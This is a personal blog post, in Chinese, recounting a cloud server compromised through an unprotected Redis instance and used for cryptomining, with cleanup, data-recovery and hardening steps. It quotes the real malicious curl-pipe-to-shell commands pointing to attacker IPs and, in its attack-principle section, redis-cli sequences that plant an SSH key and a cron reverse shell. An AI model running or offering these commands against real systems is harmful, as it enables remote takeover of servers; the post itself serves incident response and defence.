谈一个Redis漏洞——记一次服务器被挖矿经历

Posted by JessieLin on 2021-11-29

谈一个Redis漏洞——记一次服务器被挖矿经历

服务器:阿里云轻量应用服务器

系统:centos 8.2

1 事件起因

2021年11月21日中午12:37分左右,在做软工作业的我突然想直接用ARDM(一个Redis可视化工具)连连服务器上的Redis看看里面现在有啥(因为之前写码的时候忘记设置过期时间了,里面有不少没啥用的key),然后直接去服务器控制台打开6379端口(之前也这么直连过一次但没出事),因为我知道Redis没有密码,所以我一小会直接用完马上就关闭了6379端口。

13:14分,前端突然和我说后台连不上去了报Error,我试了下我也连不上去,域名访问全部失效,服务器挂了?,然后又试了下IP直接访问,可以访问,看来是转发层挂了。然后连服务器一看nginx的状态是failed,当时就在想nginx这么稳定竟然也会挂啊。然后试了下服务好了,就睡觉了,结果下午四点多突然前端又和我说服务又挂了,我直接懵了nginx今天抽风了????然后我又重启了一遍nginx。结果很快啊大概不到半个小时它又又又挂了,我开始觉得不对劲了,啥情况啊?我systemctl nginx status一看,failed,但是这次我仔细看了failed的原因,killed?kill -9?这不是意味着进程被杀了嘛,内存不够?看了下服务器内存占用,好像空间也够啊,(这时候我看到CPU占用一直50%多,还以为阿里云抽风了)。这时候我意识到服务器是不是被人攻击了?后台是不是有程序一直在kill nginx?然后我输入ps aux一看,不看不要紧,一看就看到一个

1
/bin/sh -c curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh

的进程,我在想,这IP是啥啊,看着好陌生。结果一百度,就百度到了Redis被攻击注入挖矿脚本。突然前面的一切都解释通了…服务器被人注入挖矿脚本。然后我赶紧kill -9把这个进程kill了。

然后又百度了一下,让我去看定时任务,好嘛,那我crontab -l一看,就看到一个sh /etc/newinit.sh,想想我以前肯定没弄过定时任务,果断cd到etc下删除,结果报operation not permiited。就奇了怪了我是root用户,居然还有我root删不掉的东西?百度了一下原来linux还有chattr lsattr这种给文件附加额外隐藏属性的命令,一输又报not found,需要先yum -y install e2fsprogs才能用。下了后用lsattr查看这个文件,

1
2
lsattr newinit.sh
----i-----a---- newinit.sh (可能a的位置不对,百度也百度不到,当时没截图)

果然被附加了ia的锁,用

1
chattr -ia newinit.sh

就能解开文件的锁,然后就可以用rm -rf删掉文件了。这时候其实服务器CPU已经降下来了。可以用top命令检查CPU情况,确认一下没有其他异常的进程。但是这时服务器仍然残留着脚本和后门,请看第二部分。

*ARDM (Another Redis Desktop Manager,一个很好用的免费的Redis可视化管理工具,可以在github上找到)

2 被攻击后的处理

注意!如果你的Redis访问量比较大或者aof文件重新触发的阈值比较低,在受到攻击后请立刻关闭redis,避免aof文件被重写造成数据无法恢复的后果。

先用top指令或ps aux指令或pstree查看异常进程,kill掉对应进程。注意这些指令很可能被掉包导致异常,如果指令无法执行,请先执行下面的步骤。

根据百度到的全部信息,我检查了以下内容

  • /etc/newinit.sh 执行挖矿任务的脚本,同时会kill掉其他进程,比如阿里云的云盾、nginx、其他挖矿进程(挖矿也内卷),并添加sshkey到服务器中。

    • 可以先重启阿里云的云盾等服务,可以下载看挖矿脚本的前面几十行,一般都是先关掉防护,对应重新打开相应服务即可。
  • /etc/cron.d 定时任务路径,检查里面是否有异常文件,如果没设置过建议全删

    • 还有cron.daily hourly…等
  • /etc/ 下是否有异常的脚本,或者叫zzh之类的文件,如果有删除即可,删不了先用lsattr看看有哪些隐藏属性,然后用chattr解锁,还有删不了的用chmod命令试试看。再不行可以试试chattr +ai 文件名重新加锁,然后再重新解锁,或许就能删除了。

  • **/root/.ssh/authorized_keys ** ssh文件,一般会被植入攻击者的公钥,记得删除。如果下面有攻击者的公钥并且服务器允许ssh,那么不用密码就可以直接进入服务器,非常危险。我在里面发现了和网络上那些被攻击的服务器一样的ssh key,果断直接删除整个authorized_keys文件

  • /root/.ssh/known_hosts 中是否有未知的hosts

  • /etc/sysconfig/iptables 可疑地址和端口

  • /etc/rc.local,/etc/rc.sysinit,/etc/inittab,/etc/profile 等开机启动项中,是否有异常。

  • systemctl list-unit-files 查看是否有异常的开机服务,如有通过chkconfig 服务名 off关闭

  • 可以find一下所有的.sh结尾的文件 确认一下没有异常的文件。

  • 可以ll 查看文件详细信息,通过检查文件的时间判断是不是攻击者写入的文件

  • 备份挖矿的脚本,分析挖矿脚本内容,重开被脚本杀掉的其他服务。我通过分析脚本发现一些命令被mv到其他文件夹了,如有请恢复。

  • 重启服务器,检查服务器状态。

3 Redis的恢复

被攻击后Redis的数据会被清空,并被写入特殊的key,可以keys * 查看所有的keys,可能有backup1之类的key,全部删掉,然后kill掉redis。此时redis的rdb备份文件路径一定被篡改到了crontab或者.ssh之类的文件夹里,不过只要配置文件没被改动,重启后会直接按配置文件重新加载。你需要找到redis的aof文件,可以下下来用vscode之类的工具打开(对vim操作熟悉的也可以直接用vim操作),直接查找flushall来定位位置,然后把那一块附近的异常代码删除。

通常如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flushall 
*3 #*3表示下面有三个操作字符串 此处是set backup1 */2那一坨
$3 # $3表示下面那个字符串长度为3
set
$7
backup1
$75



*/2 * * * * cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh

......

找到后根据aof文件的规则删除,少删了*或者$也没事,关键是把相关的flush指令和set指令干掉。干掉后,需要用

1
./redis-check-aof --fix appendonly.aof

来修复aof文件,按y确认即可修复。用这个aof文件覆盖之前的aof文件即可。然后启动或重启redis,默认redis会从AOF文件中恢复数据。这样操作后你的大部分数据应该都能回来。

如果你没开AOF,那你的数据多半是寄了。RDB文件是二进制文件,如果你想通过改RDB文件来恢复,那难度有点高。

4 攻击原理分析

Redis如果没有设置密码并且bind是0.0.0.0并且protected-mode为no并且以root等较高权限运行,那么可以直接外网远程连接操作redis写入文件到任意路径。通常来说,原理是这样的

1
2
3
4
5
6
7
8
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

或者

1
2
3
4
5
6
7
8
# redis-cli 
127.0.0.1:6379> CONFIG SET dir /var/spool/cron <--切换到定时任务目录
OK
127.0.0.1:6379> CONFIG SET dbfilename root <--生成一个名为root的文件
OK
127.0.0.1:6379> set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.2.5/9999 0>&1\n\n" <--设置反弹shell
OK
127.0.0.1:6379> save

以上均来自网络。原理是redis可以动态改变配置,通过改变路径到相应的文件夹下并设置RDB文件名,然后写入key并save,这个key就被保存到相应文件里了。神奇的是刚好key的value写入RDB后不会乱码并且能正确的被centos解析出来。第一种是写入sshkey,写入成功后可以免密ssh登录目标主机。第二种是通过向系统写入root的定时脚本,通过脚本反弹shell,把shell暴露给外网(如果是ubuntu的话,第二种方式可能不太行)。只要能操作目标主机的shell那是想干啥干啥。由于redis具有root权限,所以以上操作均能正常执行。

还有一种方式就是redis的rdb文件切到crontab定时任务目录下,直接写入wget命令获取远程主机脚本并sh,等crontab下的命令被定时执行时就会触发。本人应该是被此种方式攻击。

总之,Redis攻击的原理无外乎改变rdb文件路径来往对应路径写入所需的内容。

5 预防

通过本漏洞攻击需要满足4个条件

  • 1.Redis端口对外网暴露
  • 2.Redis没有设置强密码(弱密码很可能被撞开)
  • 3.Redis以较高的权限运行
  • 4.Redis配置中 bind属性为0.0.0.0并且关闭了protected-mode

因此预防攻击,建议

  • 给Redis设置强密码,尤其是需要外网访问的情况下。服务器不少端口每天都会被很多扫描工具轮番照顾,没有密码,哪怕只开放一小会中招的几率也非常大,不要存在侥幸心理。

  • 如果可能,bind尽量不要设置为0.0.0.0。

  • 没有外网使用的情况下,尽量关闭相应的防火墙端口,避免被暴力试出密码,redis本身没有对输错密码的次数做限制

  • 建立低权限账户,授予其读取写入执行redis文件夹权限,并关闭其登录系统的权限。这样即使redis被攻破,攻击者也只能破坏你的redis中的数据,无法对系统其它部分造成影响。

6 吐槽

阿里云轻量应用服务器的防御应该不太行,这个脚本应该暴露好久了,结果这脚本在我服务器挖了那么久(大概四个小时)居然一点警报也没有,问客服也只是让我看看crontab下有没有定时任务让我清掉,隔壁腾讯云反倒能给出警报来。可能因为这个脚本很“贴心”的给我设置了50%的CPU占用上限导致没触发阿里云的机制吧。